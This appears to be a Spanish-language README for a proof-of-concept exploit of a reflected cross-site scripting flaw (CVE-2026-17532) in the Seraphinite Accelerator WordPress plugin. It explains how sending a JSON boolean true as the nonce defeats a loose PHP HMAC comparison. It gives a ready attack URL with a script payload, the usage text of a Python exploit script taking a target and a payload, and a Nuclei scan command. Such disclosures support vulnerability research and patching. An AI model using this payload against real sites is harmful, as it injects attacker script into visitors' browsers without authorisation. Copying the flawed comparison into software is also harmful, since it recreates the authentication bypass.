kalhoralireza/cve-2026-17532Seraphinite Accelerator <= 2.29.18 - Cross-Site Scripting Reflejado (PoC)
El plugin firma sus solicitudes internas de "preparar página" con un HMAC en el
parámetro seraph_accel_prep (JSON codificado en base64), pero lo compara con el
!= flexible de PHP. Enviar el booleano JSON true como nonce hace que la comparación
siempre pase, y el campo selfTest se devuelve sin escapar como
selfTest-<value>.
Una URL, sin autenticación:
http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>
Python (requiere pip install requests):
usage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]
Seraphinite Accelerator (WordPress) <= 2.29.18
options:
-h, --help show this help message and exit
--url URL target site, e.g. http://target-site.com
--payload PAYLOAD XSS payload (default: <script>alert(document.domain)</script>)
--timeout TIMEOUT seconds (default: 30)
Nuclei:
nuclei -u http://target-site.com -t seraphinite-accelerator-prep-xss.yaml -timeout 10
El -timeout 10 es necesario porque la ruta de código vulnerable duerme 5 segundos
antes de responder.